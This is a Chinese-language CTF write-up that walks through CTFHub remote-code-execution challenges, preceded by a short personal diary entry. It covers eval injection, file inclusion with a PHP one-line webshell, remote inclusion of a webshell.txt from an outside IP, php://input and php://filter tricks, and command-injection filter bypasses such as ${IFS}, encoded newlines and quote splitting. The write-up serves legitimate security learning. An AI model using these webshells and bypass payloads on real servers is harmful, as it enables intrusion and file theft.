前言
早上做完题写完文章后就立刻上传了,然后午休了两个小时,醒来原本是打算继续刷题的,不过估摸着快吃饭了,顺便那个快递,就直接出门了,然后吃完饭回来吃了药继续开始学习,吃药是因为咳嗽还没好,前几天那个时候我以为好了,而且药也吃完了,我就没管了,想着身体应该能自己恢复,结果没过几天又开始严重了,没办法换了一家诊所开了点药,吃了两天效果还行,不过还是有点咳嗽,出门吃饭顺便又让医生开了两天的散药
RCE概述
RCE,即远程代码执行(Remote Code Execution),是一种安全漏洞,它允许攻击者在目标系统上远程执行任意代码或命令。这种漏洞通常出现在应用程序或系统提供给用户执行远程命令的接口中,如路由器、防火墙或入侵检测系统的Web管理界面。如果这些接口在设计时没有进行严格的安全控制,攻击者就可能利用它们执行恶意命令,从而控制后台服务器
RCE漏洞原理
RCE漏洞的核心是用户输入未被正确过滤或验证,导致恶意代码被当作正常指令执行,RCE漏洞的产生通常是因为后端系统需要执行用户输入的命令,但对用户输入的内容未经严格过滤直接被后台执行
- 例如,一个Web界面上的ping测试功能。用户输入一个IP地址,后台系统会对该地址执行ping操作并返回结果。如果用户输入的内容未经严格过滤直接被后台执行,攻击者就可以通过这个接口提交非预期的命令,导致系统被控制(命令注入,使用特殊字符)
- 同样,后台系统有时会将用户输入作为代码的一部分执行,这也会造成远程代码执行漏洞(代码注入,直接执行用户输入的代码)
- 反序列化漏洞,攻击者构造恶意的序列化数据,利用反序列化过程中自动调用的魔术方法(如
__destruct__、__wakeup__等)执行恶意载荷,使服务器在处理对象时意外执行了恶意代码特征:用户可以控制输入,服务器未验证或过滤直接执行操作
RCE利用
攻击者可以通过构造特定的输入,利用RCE漏洞执行系统命令或下载并执行恶意文件。例如,使用Windows系统命令拼接方法,如管道符( | )、命令连接符( & )、条件执行符( && 和 || )等,攻击者可以在系统上执行多个命令。此外,攻击者还可以利用如 system() 、 exec() 、 shell_exec() 等函数执行命令,或者通过文件上传和远程下载来执行恶意脚本
eval执行
题目:
eval执行
考点:
- RCE 代码注入
- eval 函数
解题思路:
了解原理后我们直接开启环境:
<?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?>页面直接返回了 php 代码,逻辑是接收提交的 cmd 参数,并执行里面的代码 ,如果没有带 cmd 参数就 xxx,所以我们直接带上这个 cmd 参数访问即可,不过因为语法,我们需要使用 system:
http://challenge-55d9b613311b3fe3.sandbox.ctfhub.com:10800/?cmd=system('pwd'); 执行结果:/var/www/html 当前目录 http://challenge-55d9b613311b3fe3.sandbox.ctfhub.com:10800/?cmd=system('ls /'); 执行结果:bin boot dev etc flag_8505 home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var http://challenge-55d9b613311b3fe3.sandbox.ctfhub.com:10800/?cmd=system('ls -al /flag_8505'); 执行结果:-rw-r--r-- 1 root root 33 Dec 13 20:49 /flag_8505 我一开始把它当目录了,还想着查找这个目录下的文件,结果 -al 才发现不是目录,就是一个文件,直接 cat 查看就可以了 http://challenge-55d9b613311b3fe3.sandbox.ctfhub.com:10800/?cmd=system('cat /flag_8505');然后成功夺旗!




文件包含
题目:
文件包含
考点:
- 以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含
- PHP语言
- include函数 — include函数不管这个文件后缀是什么 这个文件中的内容将会直接出现在原文件中
- 一句话木马
解题思路:
开启环境,然后分析代码:
<?php error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?>我没有 php 基础,不过有一点代码基础,这里直接看的别人的分析,error_reporting 关闭报错,判断提交的参数,如果带有 file 文件,判断如果带有 flag 字符串,就会返回 Hacker,如果不是就返回 include,这样就防止我们直接通过爆破 flag 文件名来获取 flag了
这里我们就需要用到文件包含,包含这个 shell.txt 的文件,这样里面的一句话木马就会被执行,然后我们就能够获取到 flag


包含 shell.txt :
http://challenge-d8d3e47f3ef94605.sandbox.ctfhub.com:10800/?file=shell.txt连接 shell 并获取 flag 名:
http://challenge-d8d3e47f3ef94605.sandbox.ctfhub.com:10800/?file=shell.txt&ctfhub=system('ls /');

cat 获取 flag 文件内容:
http://challenge-d8d3e47f3ef94605.sandbox.ctfhub.com:10800/?file=shell.txt&ctfhub=system('cat /flag');

成功夺旗!
php://input
题目:
php://input
考点:
- php://input 伪协议
- include 函数
解题思路:
开启环境,页面返回如下代码:
<?php if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?>php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容,从而导致任意代码执行
所以我们只需要访问这个路径:
http://challenge-928e9d80bd374abd.sandbox.ctfhub.com:10800/?file=php://input然后抓包修改我们的数据报的内容,请求方式改为 post ,post 数据是我们想要执行的命令:
<?php system('ls /'); ?>

flag_15603 ,获取到文件名后直接 cat 查看:
<?php system('cat /flag_15603'); ?>

成功夺旗!
注意:常用到伪协议的
php://input和php://filter.其中php://input要求allow_url_include设置为On,所以题目给出了 phpinfo 的访问地址,可以查看都是 on

读取源代码
题目:
读取源代码
考点:
- php://filter 读取源代码并进行base64编码输出,主要过滤和转换数据流
解题思路:
php://filter 的用法:
php://filter/[filterlist]/resource=[stream]具体使用:
php://filter/read=convert.base64-encode/resource=文件名read 指定这是读取时的过滤器,convert.base64-encode 表示使用 base64 进行编码,理解后我们开启环境:
<?php error_reporting(E_ALL); if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__); } ?>页面返回了如下内容,同时告诉我们 flag 在 /flag

所以我们直接使用 php://filter 读取文件即可:
http://challenge-18aa55c5e57414db.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag

然后在线网站 base64 解码一下就获得到了 flag :

成功夺旗!
远程包含
题目:
远程包含
考点:
- 远程文件包含本质上和LFI(本地文件包含)是同一个概念,只是被包含的”文件源”不是从本次磁盘上获得,而是从外部输入流得到
- 如果PHP的配置选项 allow_url_include 为 ON 的话,则 include/require 函数可以加载远程文件,这种漏洞被称为”远程文件包含漏洞(Remote File Inclusion RFI) ,allow_url_fopen = On 是否允许打开远程文件
解题思路:
主要还是让它包含我们远程服务器上面的文件,但是要注意如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般做成.txt的文件,再让它包含过来
这里我先是又去开了一台试用的服务器,反正一块钱,而且销毁奖励2000积分,相当于一分钱没花体验一天,还是挺不错的,然后我们上传我们的一句话木马到服务器,然后让它远程包含即可。第二种方法就是前面 php://input 一样,不过我们现在做的的是远程包含,那就按照这个来做题,顺便试试能不能行:
<?php system($_GET['cmd']); ?>先创建一个 webshell.txt 的文件,然后内容如上,然后使用远程文件包含试试:
http://challenge-36f6d0d2f591d7ba.sandbox.ctfhub.com:10800/?file=http://23.141.172.241/webshell.txt&cmd=ls / 执行结果:bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var成功找到 flag 文件,直接 cat 查看文件内容:
http://challenge-36f6d0d2f591d7ba.sandbox.ctfhub.com:10800/?file=http://23.141.172.241/webshell.txt&cmd=cat /flag

成功夺旗!
命令注入
题目:
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag
考点:
- RCE命令注入
- 使用特殊字符拼接命令
解题思路:
根据题目,我们的思路如下:
通过特殊符号拼接新的命令,获取 flag 位置,查看 flag 内容,因为题目说了,无任何安全措施,所以我们可以使用任意特殊符号,分号,逻辑与,逻辑或,管道符,换行,空白,制表符等
理好思路,我们直接开启环境:
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res); } ?>可以看到输入的内容直接拼接执行,所以我们可以使用分号等特殊符号来拼接一个新的语句,这里使用的是分号:
127.0.0.1;ls /

这里可以随意输入一个字母在开头,像下图,这样前面 ping 失败,就不会返回:

可以看到没有 flag 目录和文件,我们用 find 查找一下:
find / -name "flag*" 2>/dev/null还是没有,那么 flag 肯定在网站目录附件,但是名字不叫 flag ,我们直接查看一下当前目录:
x 127.0.0.1;ls -al

发现一个可以的 php 文件,直接使用 cat 查看一下:
x 127.0.0.1;cat 58111975519597.php依旧没有显示东西,那么可能就是在源代码里面了,直接 F12 查看一下:

成功夺旗!
过滤cat
题目:
过滤了cat命令之后,你还有什么方法能读到 Flag?
考点:
- linux 读取文件命令
- 命令注入
解题思路:
题目分支还是命令注入下的,只不过题目内容有变化,告诉我们过滤了
cat,但是 linux 系统想要读取文件,可不止有cat,其他比较常用的是more、less、head、tail、grep,前面两个用来查看较长内容,可以分页展示,head、tail则可以用来查看开头和结尾,grep命令用于在文件中搜索特定字符串,并输出包含该字符串的行,比方说这题,就可以搜索 ctfhub ,因为这是 flag 头固定的格式。还有其他的方法,这个思路是我自己想的,如果以上都无法读取,那我们就使用复制命令cp复制一份文件的内容,名字为 txt ,然后浏览器去访问路径就可以了。然后就是其他的一些读取命令,strings、od、hexdump、xxd这几个我也没怎么用过好像,好了既然思路理好了,那就直接开始做题打开环境,页面返回了如下代码:
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>这里判断字符串不能有 cat 才会执行命令,我们要想实现命令注入就不能使用这个,先 ls 找找我们的 flag 文件:
x 127.0.0.1;ls -al

可以看到权限是可读的,也就以为着我们能直接访问 flag 文件,不过因为 php 是后端代码,所以 flag 前端不会显示,我们需要读取文件,因为过滤了 cat ,所以这里可以使用其他的读取命令,我就比较懒,直接使用 cp 进行复制了:
x 127.0.0.1;cp flag_8121508022707.php flag.txt

执行命令后不会有成功的显示,不过我们可以直接访问 flag.txt 文件来查看内容:

成功夺旗!
注意:这里考验的主要是其他文件读取命令,使用 cp 是以上都不能用的情况下的一个额外的思路
过滤空格
题目:
这次过滤了空格,你能绕过吗
考点:
- 空格过滤绕过
- 命令注入
解题思路:
就如标题,过滤了空格,但是我们可以使用特殊的符号,%09 水平制表符(tab),%0A 换行符 (LF),$IFS,< 、<>等等,具体可以查看这两篇文章:
这里我们使用${IFS}来绕过,然后理好思路后,直接开启环境,页面返回如下代码:
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/ /", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>可以看到,只过滤了空格,那么我们直接 ls 查看 flag 文件名,然后 cat 获取 flag 就好了:
x${IFS}127.0.0.1;ls${IFS}-al

成功获取文件名,接下来直接 cat 获取 flag 即可:
x${IFS}127.0.0.1;cat${IFS}flag_53072547527717.php

因为是注释内容,需要用 F12 才能看到,夺旗成功!
过滤目录分隔符
题目:
这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗
考点:
- 命令注入
- 过滤目录分隔符绕过
解题思路:
标题告诉我们过滤了目录分隔符,并且 flag 就在 flag 目录下,所以我们可以使用 cd 去切换到这个目录,然后再去读取这个文件,理清思路后我们开启环境,页面返回如下代码:
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/\//", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>可以看到只过滤了正斜杠,所以我们其他的命令还是能正常使用的,那么直接 ls 一下:
x 127.0.0.1;ls -al

d 开头,说明这是一个目录,我们直接使用 cd 切换到这个目录,然后 ls 查看一下 flag 的文件名:
x 127.0.0.1;cd flag_is_here;ls -al

获取到文件名后,我们直接使用 cat 查看文件内容:
x 127.0.0.1;cd flag_is_here;cat flag_27773489713822.php

cat 后直接 F12 就可以看到 flag 了,成功夺旗!
过滤运算符
题目:
过滤了几个运算符, 要怎么绕过呢
考点:
- 命令注入
- 过滤运算符绕过
解题思路:
过滤了几个,具体也没说,先开启环境看看具体过滤了啥,开启后,页面返回如下代码:
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||\&)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>可以看到就是过滤了一些连接符号,不过我们用不上,我们一直使用的是分号,那么直接构造命令:
x 127.0.0.1;ls -al

直接查看到文件名,接下来正常 cat 获取文件内容即可:
x 127.0.0.1;cat flag_628318877392.php

成功夺旗!
综合过滤练习
题目:
同时过滤了前面几个小节的内容, 如何打出漂亮的组合拳呢?
考点:
- 命令注入
- 命令注入过滤绕过
解题思路:
这会说是过滤了前面几个小节的内容,那么我们直接开启环境看看具体过滤了哪些,开启环境后,页面返回了如下代码:
<?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; } } ?>可以看到过滤了
&,|,;,空格,/,cat,flag,ctfhub,并没有过滤 ls ,cp,cd,制表符和换行符等,说明可以绕过,那么我们构造一下命令,然后在URL中提交:?ip=x%0Als%0A-al ?ip=x[换行符]ls[换行符]-al 相当于 ls -al 注意:%0A %09 只在 URL 编码中代表换行符和制表符

可以看到这里有一个 flag_is_here 的目录,这里使用 tab 键自动补齐,然后 * 来查看所有内容:
?ip=x%0Als%09* ?ip=x[换行符]ls[Tab]* 查询所有文件,相当于 ls *,可以自己在 linux 服务器上尝试,会直接显示所有文件

这样我们就获得到 flag 文件的名字了,然后我们直接使用 cat 来获取 flag ,使用 ‘ ‘ 来绕过:
?ip=x%0acd%09*here%0aca''t%09*.php ?ip=x[换行符]cd[Tab]*here[换行符]cat[Tab]*.php x 使 ping 报错不会回显和等待, %0A 连接语句, cd 切换到以 here 结尾的目录,然后 cat 查看以 .php 结尾的文件

成功夺旗!
总结:
这篇文章是第二天才写完的,第一天做到还剩下5道题没做完就休息了,然后第二天早上起来补完了,补的都是命令注入的分支,主要考验的还是一些绕过技巧。然后前面的题目更多是拓展一下思路,了解过就知道怎么做










